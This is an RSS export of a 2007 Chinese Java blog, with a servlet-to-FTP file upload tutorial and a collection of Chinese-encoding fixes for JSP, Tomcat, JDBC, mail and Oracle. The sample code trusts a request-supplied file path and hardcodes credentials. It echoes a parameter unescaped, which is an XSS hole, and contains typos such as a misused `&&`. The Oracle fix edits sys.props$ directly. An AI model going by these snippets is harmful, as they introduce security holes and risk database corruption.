﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-study-随笔分类-JSP&amp;&amp;Servlet</title><link>http://www.blogjava.net/xixidabao/category/15378.html</link><description>GROW WITH JAVA</description><language>zh-cn</language><lastBuildDate>Thu, 23 Aug 2007 20:32:55 GMT</lastBuildDate><pubDate>Thu, 23 Aug 2007 20:32:55 GMT</pubDate><ttl>60</ttl><item><title>java实现的ftp文件上传例题 </title><link>http://www.blogjava.net/xixidabao/archive/2007/08/15/136861.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Wed, 15 Aug 2007 04:03:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2007/08/15/136861.html</guid><description><![CDATA[<font face=宋体 size=2><br>&nbsp;转:http://www.128kj.com/article/article5/4C981624F129B81E393E4DFE72AC9096.htm?id=1820<br><br><br>前几天写过一编"关于java的http协议文件上传实用例题"的文章；今天还想写编关于java用ftp上传文件的内容。我来说说2者的优缺点；<br>&nbsp;&nbsp;&nbsp; 1：用http协议上传更适合web编程的方便；传小于1M文件速度要比用ftp协议上传文件略快。安全性好；不像ftp那样；必须要启动一个ftp服务才行。<br><br>&nbsp;&nbsp;&nbsp; 2：用ftp协议上传文件大于1M的文件速度比http快；文件越大；上传的速度就比http上传快的倍数越大。而且用java编写程序；ftp比http方便。好，废话少说；我们先搭建一个实例来理性认识一下用java编写ftp上传文件的技术。</font>
<p><font face=宋体 size=2>&nbsp; 首先在本机启动一个ftp服务，ftp的用户："IUSR_ZJH" 密码："123"；随后在ftp主目录下建一个名为upftp的子目录；下面有4个文件就可启动这个例题了。</font></p>
<p><font face=宋体,sans-serif size=2>文件1：MainCtrl.java（servlet文件）内容如下：</font></p>
<p><font face=宋体,sans-serif>import javax.servlet.http.HttpServlet;<br>import javax.servlet.http.HttpServletRequest;<br>import javax.servlet.http.HttpServletResponse;<br>import javax.servlet.ServletException;</font></p>
<p><font face=宋体,sans-serif>import java.io.FileInputStream;<br>import java.io.IOException;</font></p>
<p><font face=宋体,sans-serif>import sun.net.TelnetOutputStream;<br>import sun.net.ftp.FtpClient;</font></p>
<p><br><font face=宋体,sans-serif>public class MainCtrl extends HttpServlet {<br>&nbsp;<br>&nbsp;&nbsp; private FtpClient ftpClient;<br>&nbsp;&nbsp; <br>&nbsp;public void doPost(HttpServletRequest req, HttpServletResponse resp) <br>&nbsp;throws ServletException, IOException {</font></p>
<p><font face=宋体,sans-serif>&nbsp;&nbsp; resp.setContentType("text/html; charset=UTF-8");</font></p>
<p><font face=宋体,sans-serif>&nbsp;&nbsp; try {<br>&nbsp;&nbsp;&nbsp; //连接ftp服务器<br>&nbsp;&nbsp;&nbsp; connectServer("127.0.0.1", "IUSR_ZJH", "123", "upftp");<br>&nbsp;&nbsp;//上传文件;并返回上传文件的信息<br>&nbsp;&nbsp;&nbsp; req.setAttribute("inf", upload(req.getParameter("file_name")));<br>&nbsp;&nbsp; } catch (Exception e) {<br>&nbsp;&nbsp;System.out.println(e.toString());<br>&nbsp;&nbsp;req.setAttribute("inf", e.toString());<br>&nbsp;&nbsp;req.getRequestDispatcher("view_inf.jsp").forward(req, resp);<br>&nbsp;&nbsp;return;<br>&nbsp;&nbsp; } finally {<br>&nbsp;&nbsp;&nbsp; if (ftpClient != null) {<br>&nbsp;&nbsp;&nbsp;&nbsp; ftpClient.closeServer();&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp; req.getRequestDispatcher("view_inf.jsp").forward(req, resp);<br>&nbsp; }<br>&nbsp; <br>&nbsp; public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {<br>&nbsp;&nbsp; doPost(req, resp);<br>&nbsp; }<br>//连接ftp服务器<br>&nbsp;private void connectServer(String server, String user, String password,<br>&nbsp;&nbsp;&nbsp;String path) throws IOException {<br>&nbsp;&nbsp;// server：FTP服务器的IP地址；user:登录FTP服务器的用户名<br>&nbsp;&nbsp;// password：登录FTP服务器的用户名的口令；path：FTP服务器上的路径<br>&nbsp;&nbsp;ftpClient = new FtpClient();<br>&nbsp;&nbsp;ftpClient.openServer(server);<br>&nbsp;&nbsp;ftpClient.login(user, password);<br>&nbsp;&nbsp;//path是ftp服务下主目录的子目录<br>&nbsp;&nbsp;if (path.length() != 0)<br>&nbsp;&nbsp;&nbsp;ftpClient.cd(path);<br>&nbsp;&nbsp;//用2进制上传<br>&nbsp;&nbsp;ftpClient.binary();<br>&nbsp;}</font></p>
<p><font face=宋体,sans-serif>&nbsp;//上传文件;并返回上传文件的信息<br>&nbsp;private String upload(String filename) throws Exception {<br>&nbsp;&nbsp;TelnetOutputStream os = null;<br>&nbsp;&nbsp;FileInputStream is = null;<br>&nbsp;&nbsp;try {<br>&nbsp;&nbsp;&nbsp;//"upftpfile"用ftp上传后的新文件名<br>&nbsp;&nbsp;&nbsp;os = ftpClient.put("upftpfile");<br>&nbsp;&nbsp;&nbsp;java.io.File file_in = new java.io.File(filename);<br>&nbsp;&nbsp;&nbsp;if (file_in.length()==0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;return "上传文件为空!";<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;is = new FileInputStream(file_in);<br>&nbsp;&nbsp;&nbsp;byte[] bytes = new byte[1024];<br>&nbsp;&nbsp;&nbsp;int c;<br>&nbsp;&nbsp;&nbsp;while ((c = is.read(bytes)) != -1) {<br>&nbsp;&nbsp;&nbsp;&nbsp;os.write(bytes, 0, c);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;} finally {<br>&nbsp;&nbsp;&nbsp;if (is != null) {<br>&nbsp;&nbsp;&nbsp;&nbsp;is.close();<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;if (os != null) {<br>&nbsp;&nbsp;&nbsp;&nbsp;os.close();<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;return "上传文件成功!";<br>&nbsp;}</font></p>
<p><font face=宋体,sans-serif>}</font></p>
<p><font face=宋体,sans-serif size=2>文件2：upftp.htm(前台操作页面)内容如下：</font></p>
<p><font size=2><font face=宋体,sans-serif>&nbsp; </font><textarea style="WIDTH: 502px; HEIGHT: 145px" name=textarea rows=6 cols=60>&lt;html&gt;&lt;body&gt;
&lt;form method="post" action="/upftp/MainCtrl"&gt;
&lt;!-- C:\\Downloads\\setup_kubao.exe客户端真实文件路径 --&gt;
&lt;input type="text" name="file_name" size="38" value="C:\\Downloads\\setup_kubao.exe" /&gt;
&lt;input type="submit" /&gt;
&lt;/form&gt;&lt;/body&gt;
&lt;/html&gt;</textarea></font></p>
<p>文件3：view_inf.jsp(信息提示页面)和upftp.htm一样放在context的根目录下,</p>
<p>内容如下：</p>
<p>&lt;<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#37;&#64;&#112;&#97;&#103;&#101;"><u><font color=#0000ff>%@page</font></u></a> contentType="text/html;charset=UTF-8"%&gt;<br>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><u><font color=#0000ff>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</font></u></a>"&gt;<br>&lt;html xmlns="<a href="http://www.w3.org/1999/xhtml"><u><font color=#0000ff>http://www.w3.org/1999/xhtml</font></u></a>"&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;<br>&lt;style type="text/css"&gt;<br>th<br>{<br>background-color: #4455aa;<br>color: white;<br>font-size: 14px;<br>font-weight:bold;<br>}<br>td.TableBody1<br>{<br>background-color: #FFFFF0;<br>color: white;<br>font-size: 14px;<br>font-weight:bold;<br>font-color: red;<br>}<br>.tableBorder1<br>{<br>width:97%;<br>border: 1px; <br>background-color: #6595D6;<br>}<br>&lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;%String inf = (String) request.getAttribute("inf");<br>&nbsp;&nbsp; if (inf == null) {<br>&nbsp;&nbsp;&nbsp; inf = request.getParameter("inf");<br>&nbsp;&nbsp; }%&gt;<br>&lt;table class="tableborder1" style="width: 75%;" align="center"<br>&nbsp;cellpadding="3" cellspacing="1"&gt;<br>&nbsp;&lt;tbody&gt;<br>&nbsp; &lt;tr align="center"&gt;<br>&nbsp;&nbsp; &lt;th colspan="2" height="25" width="100%"&gt;信 息 提 示:&lt;/th&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center"&gt;<br>&nbsp;&nbsp; &lt;td class="tablebody1" colspan="2" width="100%" height="200"&gt;&lt;%=inf%&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp; &lt;tr align="center"&gt;<br>&nbsp;&nbsp; &lt;td&gt;&lt;input name="back" value="返 回" onclick="history.back();"<br>&nbsp;&nbsp;&nbsp; type="button" /&gt;&lt;/td&gt;<br>&nbsp; &lt;/tr&gt;<br>&nbsp;&lt;/tbody&gt;<br>&lt;/table&gt;<br>&lt;/body&gt;&lt;/html&gt;</p>
<p>文件4：web.xml(j2ee的备置文件)放在WEB-INF目录下,</p>
<p>内容如下：<br>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;<br>&lt;web-app xmlns="<a href="http://java.sun.com/xml/ns/j2ee"><u><font color=#0000ff>http://java.sun.com/xml/ns/j2ee</font></u></a>"<br>&nbsp;xmlns:xsi="<a href="http://www.w3.org/2001/XMLSchema-instance"><u><font color=#0000ff>http://www.w3.org/2001/XMLSchema-instance</font></u></a>"<br>&nbsp;xsi:schemaLocation="<a href="http://java.sun.com/xml/ns/j2ee"><u><font color=#0000ff>http://java.sun.com/xml/ns/j2ee</font></u></a> <a href="http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"><u><font color=#0000ff>http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd</font></u></a>"<br>&nbsp;version="2.4"&gt;<br>&nbsp;&lt;!--Servlet name--&gt;<br>&nbsp;&lt;servlet&gt;<br>&nbsp;&nbsp;&lt;servlet-name&gt;MainCtrl&lt;/servlet-name&gt;<br>&nbsp;&nbsp;&lt;servlet-class&gt;MainCtrl&lt;/servlet-class&gt;<br>&nbsp;&lt;/servlet&gt;<br>&nbsp;&lt;!--Servlet mapping--&gt;<br>&nbsp;&lt;servlet-mapping&gt;<br>&nbsp;&nbsp;&lt;servlet-name&gt;MainCtrl&lt;/servlet-name&gt;<br>&nbsp;&nbsp;&lt;url-pattern&gt;/MainCtrl&lt;/url-pattern&gt;<br>&nbsp;&lt;/servlet-mapping&gt;<br>&lt;/web-app&gt;</p>
<p>&nbsp;</p>
<img src ="http://www.blogjava.net/xixidabao/aggbug/136861.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2007-08-15 12:03 <a href="http://www.blogjava.net/xixidabao/archive/2007/08/15/136861.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>有关乱码的处理</title><link>http://www.blogjava.net/xixidabao/archive/2007/08/14/136660.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Tue, 14 Aug 2007 06:08:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2007/08/14/136660.html</guid><description><![CDATA[来源：soddabao－BlogJava<br><br>　　为什么说乱码是中国程序员无法避免的话题呢？这个首先要从编码机制上说起，大家都是中文和英文的编码格式不是一样，解码也是不一样的！如果中国的程序员不会遇到乱码，那么只有使用汉语编程。汉语编程是怎么回事我也不大清楚，应该是前年吧，我一朋友给我介绍汉语编程，怎么不错不错？当时因为学习忙没去关注这个，等我闲了，那个朋友不弄这个，问他他也不说不大清楚，最后自己对这个学习也不了了之了。<br><br>今天我写这个不是讲解中英文之间的差距，解码等，我是将我在这几年工作遇到各种各样的乱码的解决方法，总结一样，也希望大家能把自己晕倒解决乱码的方法都说出来，咱们弄一个解决乱码的&#8220;葵花宝典&#8221;。<br><br>　　对于Java由于默认的编码方式是 UNICODE,所以用中文也易出问题,常见的解决是<br>String s2 = new String(s1.getBytes(&#8220;ISO-8859-1&#8221;),&#8221;GBK&#8221;); <br><br>　　1、utf8解决JSP中文乱码问题 <br><br>　　一般说来在每个页面的开始处，加入：<br><br>＜%@ page language="java" contentType="text/html; charset=UTF-8"<br>pageEncoding="UTF-8"%＞<br><br>＜%<br>request.setCharacterEncoding("UTF-8"); <br>%＞ <br><br>　　charset=UTF-8 的作用是指定JSP向客户端输出的编码方式为&#8220;UTF-8&#8221;<br><br>　　pageEncoding="UTF-8" 为了让JSP引擎能正确地解码含有中文字符的JSP页面，这在LINUX中很有效<br><br>　　request.setCharacterEncoding("UTF-8"); 是对请求进行了中文编码<br><br>　　有时，这样仍不能解决问题，还需要这样处理一下：<br><br>String msg = request.getParameter("message"); <br>String str=new String(msg.getBytes("ISO-8859-1"),"UTF-8"); <br>out.println(st); <br><br>　　2、Tomcat 5.5 中文乱码 <br><br>　　只要把%TOMCAT安装目录%/ webapps\servlets-examples\WEB-INF\classes\filters\SetCharacterEncodingFilter.class文件拷到你的webapp目录/filters下，如果没有filters目录，就创建一个。 <br><br>　 2)在你的web.xml里加入如下几行：<br><br>＜filter＞ <br>＜filter-name＞Set Character Encoding＜/filter-name＞ <br>＜filter-class＞filters.SetCharacterEncodingFilter＜/filter-class＞ <br>＜init-param＞ <br>＜param-name＞encoding＜/param-name＞ <br>＜param-value＞GBK＜/param-value＞ <br>＜/init-param＞ <br>＜/filter＞ <br>＜filter-mapping＞ <br>＜filter-name＞Set Character Encoding＜/filter-name＞ <br>＜url-pattern＞/*＜/url-pattern＞ <br>＜/filter-mapping＞ <br><br>　 3)完成.<br><br>　 2 get方式的解决办法 <br><br>　 1) 打开tomcat的server.xml文件，找到区块，加入如下一行： <br><br>URIEncoding=&#8221;GBK&#8221; <br><br>　 完整的应如下： <br>　<br>＜Connector <br>port="80" maxThreads="150" minSpareThreads="25" maxSpareThreads="75" <br>enableLookups="false" redirectPort="8443" acceptCount="100" <br>debug="0" connectionTimeout="20000" <br>disableUploadTimeout="true" <br>URIEncoding="GBK" <br>/＞ <br><br>　2)重启tomcat,一切OK。<br><br>　　3、xmlHttpRequest中文问题 <br><br>　　页面jsp用的GBK编码 <br><br>＜%@ page contentType="text/html; charset=GBK"%＞ <br><br>　　javascript部分 <br><br>function addFracasReport() { <br>var url="controler?actionId=0_06_03_01&amp;actionFlag=0010"; <br>var urlmsg="&amp;reportId="+fracasReport1.textReportId.value; //故障报告表编号 <br><br>var xmlHttp=Common.createXMLHttpRequest(); <br>xmlHttp.onreadystatechange = Common.getReadyStateHandler(xmlHttp, eval("turnAnalyPage")); <br>xmlHttp.open("POST",url,true); <br>xmlHttp.setRequestHeader( " Content-Type " , " application/x-www-form-urlencoded); <br>xmlHttp.send(urlmsg); <br><br>} <br><br>　　后台java中获得的reportId是乱码，不知道该怎么转，主要是不知道xmlHttp.send(urlmsg); 以后是什么编码？在后面用java来转，试了几种，都没有成功，其中有：<br><br>public static String UTF_8ToGBK(String str) { <br>try { <br>return new String(str.getBytes("UTF-8"), "GBK"); <br>} catch (Exception ex) { <br>return null; <br>} <br>} <br><br>public static String UTF8ToGBK(String str) { <br>try { <br>return new String(str.getBytes("UTF-16BE"), "GBK"); <br>} catch (Exception ex) { <br>return null; <br>} <br>} <br><br>public static String GBK(String str) { <br>try { <br>return new String(str.getBytes("GBK"),"GBK"); <br>} catch (Exception ex) { <br>return null; <br>} <br>} <br>public static String getStr(String str) { <br>try { <br>String temp_p = str; <br>String temp = new String(temp_p.getBytes("ISO8859_1"), "GBK"); <br>temp = sqlStrchop(temp); <br>return temp; <br>} catch (Exception e) { <br>return null; <br>} <br>} <br><br>　　4、JDBC ODBC Bridge的Bug及其解决方法 <br><br>　　在编写一数据库管理程序时，发现JDBC-ODBC Bridge存在不易发现的Bug。在向数据表插入数据时，如果为英文字符，存储内容完全正确，如果存入中文字符，部分数据库只能存储前七八个中文字符，其他内容被截去，导致存储内容的不完整（有些数据库不存在这个问题，如Sybase SQL Anywhere 5.0。JDBC-ODBC Bridge还存在无法建表的Bug）。 <br><br>　　对于广大需要存储中文信息的Java程序员来说，这可是一个不好的消息。要么改用其他语言编程，要么选择其他价格昂贵的数据库产品。&#8220;一次编写，到处运行&#8221;的目标，也大打折扣。能不能采用变通的方法，将中文信息进行处理后再存储来解决这个问题呢？答案是肯定的。 <br><br>　　解决问题的具体思路、方法 <br><br>　　Java采用Unicode码编码方式，中英文字符均采用16bit存储。既然存储英文信息是正确的，根据一定规则，将中文信息转换成英文信息后存储，自然不会出现截尾现象。读取信息时再进行逆向操作，将英文信息还原成中文信息即可。由GB2312编码规则可知，汉字一般为二个高位为1的ASCII码，在转换时将一个汉字的二个高位1去掉，还原时再将二个高位1加上。为了处理含有英文字符的中文字串，对英文字符则需要加上一个Byte 0标记。以下提供的两个公用静态方法，可加入任何一个类中使用。 <br><br>　　将中英文字串转换成纯英文字串 <br><br>　　public static String toTureAsciiStr(String str){ <br><br>　　StringBuffer sb = new StringBuffer(); <br><br>　　byte[] bt = str.getBytes(); <br><br>　　for(int i =0 ; i〈bt.length; i++){ <br><br>　　if(bt[i]〈0){ <br><br>　　//是汉字去高位1 <br><br>　　sb.append((char)(bt[i]&amp;&amp;0x7f)); <br><br>　　 }else{//是英文字符 补0作记录 <br><br>　　sb.append((char)0); <br><br>　　sb.append((char)bt[i]); <br><br>　　 } <br><br>　　 } <br><br>　　return sb.toString(); <br><br>　　} <br><br>　　将经转换的字串还原 <br><br>　　public static String unToTrueAsciiStr(String str){ <br><br>　　 byte[] bt = str.getBytes(); <br><br>　　 int i,l=0,length = bt.length,j=0; <br><br>　　 for(i = 0; i〈length; i++){ <br><br>　　 if(bt[i] == 0){ <br><br>　　 l++; <br><br>　　 } <br><br>　　 } <br><br>　　 byte []bt2 = new byte[length-l]; <br><br>　　 for(i =0 ; i〈length; i++){ <br><br>　　 if(bt[i] == 0){ <br><br>　　 i++; <br><br>　　 bt2[j] = bt[i]; <br><br>　　 }else{ <br><br>　　 bt2[j] = (byte)(bt[i]|0x80); <br><br>　　 } <br><br>　　 j++; <br><br>　　 } <br><br>　　String tt = new String(bt2); <br><br>　　return tt; <br><br>　　} <br><br>　　上例在实际编程中效果很好，只是存储的中文信息需要经过同样处理，才能被其他系统使用。而且如果中文字串出现英文字符，实际上增加了额外的存储空间。<br><br>　　5、Solaris下Servlet编程的中文问题及解决办法 <br><br>　　在使用Java开发Internet上的一个应用系统时，发现在Windows下调试完全正常的Servlet，上传到Solaris 服务器上，运行却出现故障——返回的网页不能显示中文，应为中文的信息全为乱码；用中文信息做关键字，不能正确检索数据库。后来采用加入检查代码等方法探知故障原因如下： <br><br>　　显示乱码主要是因为通过类 HttpServletResponse提供的方法setContentType 无法改变返回给客户的数据的编码方式，正确的编码方式应为GB2312或者GBK，而事实上为缺省的ISO8859-1。无法检索中文信息则是因为，客户提交的中文信息经浏览器编码到达服务器后，Servlet无法将其正确解码。 <br><br>　　举例说明显示乱码解决方法 <br><br>　　Servlet 一般通常做法如下： <br><br>　　public class ZldTestServlet extends HttpServlet { <br><br>　　public void doGet (HttpServletRequest request,HttpServletResponse response)throws ServletException, IOException{ <br><br>　　//在使用 Writer向浏览器返回数据前，设置 content-type header ，在这里设置相应的字符集gb2312 <br><br>　　response.setContentType("text/html; charset=gb2312"); <br><br>　　PrintWriter out = response.getWriter(); //* <br><br>　　// 正式返回数据 <br><br>　　out.println("〈html〉〈head〉〈title〉Servlet test〈/title〉〈/head〉" ); <br><br>　　out.println("这是一个测试页！"); <br><br>　　out.println("〈/body〉〈/html〉"); <br><br>　　out.close(); <br><br>　　} <br><br>　　 ... <br><br>　　} <br><br>　　解决页面显示乱码问题，需将*处代码换成如下内容： <br><br>　　PrintWriter out = new PrintWriter(new OutputStreamWriter(response.getOutputStream(),"gb2312")); <br><br>　　Solaris中文信息检索问题的解决 <br>　　浏览器利用表单向服务器提交信息时，一般采用x-www-form-urlencoded 的MIME格式对数据进行编码。如果使用get方法，参数名称和参数值经编码后附加在URL后，在Java中称作查询串（query string）。 <br><br>　　在Servlet程序中，如果采用ServletRequest的方法getParameter取得参数值，在Solaris环境下，对汉字却不能正确解码。因而无法正确检索数据库。 <br><br>　　在Java 1.2的包——java.net中提供了URLEncode和URLDecode类。类URLEncode提供了按x-www-form-urlencoded格式对给定串进行转换的方法。类URLEncode则提供了逆方法。 <br><br>　　6、Common Mail乱码问题<br><br>　　common mail是一个小而方便的mail包，他实现了对Java Mail的封装，使用起来十分的方便，但是我在使用他的时候发现，使用纯文本的内容发送，结果是乱码，代码如下：<br><br>public class TestCommonMail {<br>public static void main(String[] args) throws EmailException, MessagingException {<br>SimpleEmail email = new SimpleEmail(); <br>email.setCharset("GB2312"); <br>email.setHostName("smtp.163.com"); <br>email.setSubject("test"); <br>email.addTo("test@163.com"); <br>email.setFrom("test@163.com"); <br>email.setMsg("我的测试"); <br>email.setAuthentication("test", "test"); <br>email.send(); <br>}<br>}<br><br>分析了一下commons mail的源码找到了原因。源码如下:<br><br>public class SimpleEmail extends Email<br>{<br>public Email setMsg(String msg) throws EmailException, MessagingException<br>{<br>if (EmailUtils.isEmpty(msg))<br>{<br>throw new EmailException("Invalid message supplied"); <br>}<br><br>setContent(msg, TEXT_PLAIN); <br>return this; <br>}<br>}<br><br>Email代码片段<br><br>public void setContent(Object aObject, String aContentType)<br>{<br>this.content = aObject; <br>if (EmailUtils.isEmpty(aContentType))<br>{<br>this.contentType = null; <br>}<br>else<br>{<br>// set the content type<br>this.contentType = aContentType; <br><br>// set the charset if the input was properly formed<br>String strMarker = "; charset="; <br>int charsetPos = aContentType.toLowerCase().indexOf(strMarker); <br>if (charsetPos != -1)<br>{<br>// find the next space (after the marker)<br>charsetPos += strMarker.length(); <br>int intCharsetEnd =<br>aContentType.toLowerCase().indexOf(" ", charsetPos); <br><br>if (intCharsetEnd != -1)<br>{<br>this.charset =<br>aContentType.substring(charsetPos, intCharsetEnd); <br>}<br>else<br>{<br>this.charset = aContentType.substring(charsetPos); <br>}<br>}<br>}<br>}<br><br>email.send(); 的send方法将调用<br>public void buildMimeMessage() throws EmailException<br>{<br>try<br>{<br>this.getMailSession(); <br>this.message = new MimeMessage(this.session); <br><br>if (EmailUtils.isNotEmpty(this.subject))<br>{<br>if (EmailUtils.isNotEmpty(this.charset))<br>{<br>this.message.setSubject(this.subject, this.charset); <br>}<br>else<br>{<br>this.message.setSubject(this.subject); <br>}<br>}<br><br>// ========================================================<br>// Start of replacement code<br>if (this.content != null)<br>{<br>this.message.setContent(this.content, this.contentType); <br>}<br>// end of replacement code<br>// ========================================================<br>else if (this.emailBody != null)<br>{<br>this.message.setContent(this.emailBody); <br>}<br>else<br>{<br>this.message.setContent("", Email.TEXT_PLAIN); <br>}<br><br>if (this.fromAddress != null)<br>{<br>this.message.setFrom(this.fromAddress); <br>}<br>else<br>{<br>throw new EmailException("Sender address required"); <br>}<br><br>if (this.toList.size() + this.ccList.size() + this.bccList.size() == 0)<br>{<br>throw new EmailException(<br>"At least one receiver address required"); <br>}<br><br>if (this.toList.size() ＞ 0)<br>{<br>this.message.setRecipients(<br>Message.RecipientType.TO,<br>this.toInternetAddressArray(this.toList)); <br>}<br><br>if (this.ccList.size() ＞ 0)<br>{<br>this.message.setRecipients(<br>Message.RecipientType.CC,<br>this.toInternetAddressArray(this.ccList)); <br>}<br><br>if (this.bccList.size() ＞ 0)<br>{<br>this.message.setRecipients(<br>Message.RecipientType.BCC,<br>this.toInternetAddressArray(this.bccList)); <br>}<br><br>if (this.replyList.size() ＞ 0)<br>{<br>this.message.setReplyTo(<br>this.toInternetAddressArray(this.replyList)); <br>}<br><br>if (this.headers.size() ＞ 0)<br>{<br>Iterator iterHeaderKeys = this.headers.keySet().iterator(); <br>while (iterHeaderKeys.hasNext())<br>{<br>String name = (String) iterHeaderKeys.next(); <br>String value = (String) headers.get(name); <br>this.message.addHeader(name, value); <br>}<br>}<br><br>if (this.message.getSentDate() == null)<br>{<br>this.message.setSentDate(getSentDate()); <br>}<br><br>if (this.popBeforeSmtp)<br>{<br>Store store = session.getStore("pop3"); <br>store.connect(this.popHost, this.popUsername, this.popPassword); <br>}<br>}<br>catch (MessagingException me)<br>{<br>throw new EmailException(me); <br>}<br>}<br>由代码可以知道纯文本方式最终调用了Java Mail的<br>message.setContent(this.content, this.contentType); <br>content是内容<br>contentType是类型，如text/plain,<br>(我们可以试试直接用Java mail发邮件，设置文本内容不使用setText方法，也使用setContent("测试", "text/plain")方式，你可以看到内容也是乱码)<br><br>　　关键就在于text/plain，我们改成text/plain; charset=gb2312，ok乱码解决了。在commons mail我们看SimpleEmail 类中setMsg方法调用的就是 setContent(msg, TEXT_PLAIN); 我们只需要将Email类中的常量TEXT_PLAIN修改一下加入 charset=你的字符集 ，重新打包jar，这样就可以了<br><br>　　7、toad的字符集的设置与oracle的安装<br><br>　　oracle数据库服务器的安装一般是中文字符集，有时安装在不同的平台下，设置为ISO编码，toad是oracle开发的最好工具，不是我说的，可是中文环境下安装的toad，打开英文字符的oracle时，中文全是乱码。必须进行设置<br><br>环境变量---〉系统变量<br>加<br>NLS_lANG=SIMPLIFIED CHINESE_CHINA.ZHS16GBK<br>或<br>NLS_lANG=AMERICAN_AMERICA.WE8ISO8859P1<br><br>AMERICAN_AMERICA.WE8MSWIN1252<br><br>或者<br><br>打开注册表，点击HKEY_LOCAL_MATHINE<br>再点击Software,再点击ORACLE<br>在点击HOME（ORACLE所在目录）<br>在注册表的右半面有NLS_LANG,<br>双击它，将你想要的覆盖掉原来的就可以了<br>最好记下旧的，以便可以改回来。<br><br>connect sys/chang_on_install<br>update props$<br>set value$='ZHS16CGB231280'<br>where name='NLS_CHARACTERSET'; <br>commit; <br>这样就OK了<br><br>　　8、如何解決GWT(google web toolkit)中文的問題<br><br>　　GWT 中文乱码解决方法 <br><br>1.把你要显示的中文&#8220;测试字符串&#8221;输入到一个文件，如:1.txt <br>2.进入命令行,进入1.txt所在的目录,敲入以下命令:native2ascii.exe 1.txt 2.txt 回车。这样就生成了另外一个文件2.txt。 <br>3.2.txt的内容如下:\u6d4b\u8bd5\u5b57\u7b26\u4e32 <br>4.然后用上面的编码，在gwt中使用，就可以了. <br><br>　　9、xmlHttp得到的网页怎么是乱码？ <br><br>　　(1)在服务器端使用WebRequest而不是xmlHttp<br>　　(2) 将 <br><br>StreamReader sr = new StreamReader(stream); <br><br>　　对于简体中文改成：<br><br>StreamReader sr = new StreamReader(stream , Encoding.Default ); <br><br>　　对于utf-8改成：<br><br>StreamReader sr = new StreamReader(stream , Encoding.UTF8 ); <br><br>　　当然，Encoding枚举还有很多其他的成员，对于不同的编码content-type可以有选择的应用<br><br>　　(3)后来我发现无论是content-type是gb2312还是utf-8,用<br><br>StreamReader sr = new StreamReader(stream , Encoding.Default ); <br><br>　　都可以返回正常的汉字，所以统一的改成Encoding.Default<br><br><br><br><br>--------------------------------------------------------------------------------<br><br>最后，在服务器端从一个url获得网页的源代码的代码如下：<br><br><br><br>/// ＜summary＞<br>/// post一个指定的url，获得网页的源代码(用WebRequest实现)<br>/// ＜/summary＞<br>/// ＜param name="url"＞＜/param＞<br>/// ＜returns＞<br>/// 如果请求失败，返回null<br>/// 如果请求成功，返回网页的源代码<br>/// ＜/returns＞<br>public static string GetContentFromUrl2( string url )<br>{<br>//变量定义<br>string respstr; <br><br>WebRequest myWebRequest=WebRequest.Create(url); <br>// myWebRequest.PreAuthenticate=true; <br>// NetworkCredential networkCredential=new NetworkCredential( username , password , domain ); <br>// myWebRequest.Credentials=networkCredential; <br><br>// Assign the response object of 'WebRequest' to a 'WebResponse' variable.<br>WebResponse myWebResponse=myWebRequest.GetResponse(); <br>System.IO.Stream stream = myWebResponse.GetResponseStream(); <br>StreamReader sr = new StreamReader(stream , Encoding.Default ); <br>//以字符串形式读取数据流<br>respstr = sr.ReadToEnd(); <br>sr.Close(); <br><br>return respstr; <br><br>}
<img src ="http://www.blogjava.net/xixidabao/aggbug/136660.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2007-08-14 14:08 <a href="http://www.blogjava.net/xixidabao/archive/2007/08/14/136660.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java实现随机验证码功能实例</title><link>http://www.blogjava.net/xixidabao/archive/2007/08/09/135382.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Wed, 08 Aug 2007 16:07:00 